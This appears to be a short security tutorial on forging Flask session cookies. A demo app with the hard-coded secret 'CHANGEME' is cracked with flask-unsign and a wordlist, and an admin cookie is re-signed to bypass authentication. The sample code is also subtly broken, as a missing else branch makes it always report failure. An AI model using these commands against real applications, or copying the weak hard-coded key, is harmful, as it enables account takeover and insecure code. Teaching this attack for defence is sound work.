Flask Session Cookies

Python Flask applications can create signed session cookies. A Hash-based Message Authentication Code (HMAC) function combines the message plaintext with a secret key.

This prevents the client from manipulating data stored in the cookie and sending it back to the server, unless they can determine the value of the secret key.

The following code sets a Flask session cookie, and then makes decisions based on the username specified in the cookie.

from flask import Flask,request,session
app = Flask(__name__)

app.config['SECRET_KEY'] = 'CHANGEME'
@app.route('/', methods = ['GET'])
def setcookie():
    if not 'username' in session:
         session['username'] = "user"

    if session['username'] == "admin":
         response = "Authentication succeeded: "+ session["username"]
         response = "Authentication failed: "+ session["username"]

    return response
if __name__ == "__main__":
    app.run(host='', port=80)

After visiting the site, we can see a session cookie has been added;

The cookie is compromised of three parts, seperated by period characters.


PartEncoded DataPurpose
1eyJ1c2VybmFtZSI6InVzZXIifQBase64 encoded JSON. Decodes as {“username”:”user”}.

Flask-unsign can be used to brute force the signing key.

./flask-unsign --unsign --cookie "eyJ1c2VybmFtZSI6InVzZXIifQ.ZCcxgw.ErdND_UcFZgAm_dt_uBIkUWCRX0" --wordlist wordlist.txt
[*] Session decodes to: {'username': 'user'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 0 attempts

Once we have the signing key, we can then sign new cookie values and supply this back to the server.

./flask-unsign --sign --cookie "{'username': 'admin'}" --secret 'CHANGEME'

Swapping out the cookie used by Firefox will then result in successful authentication.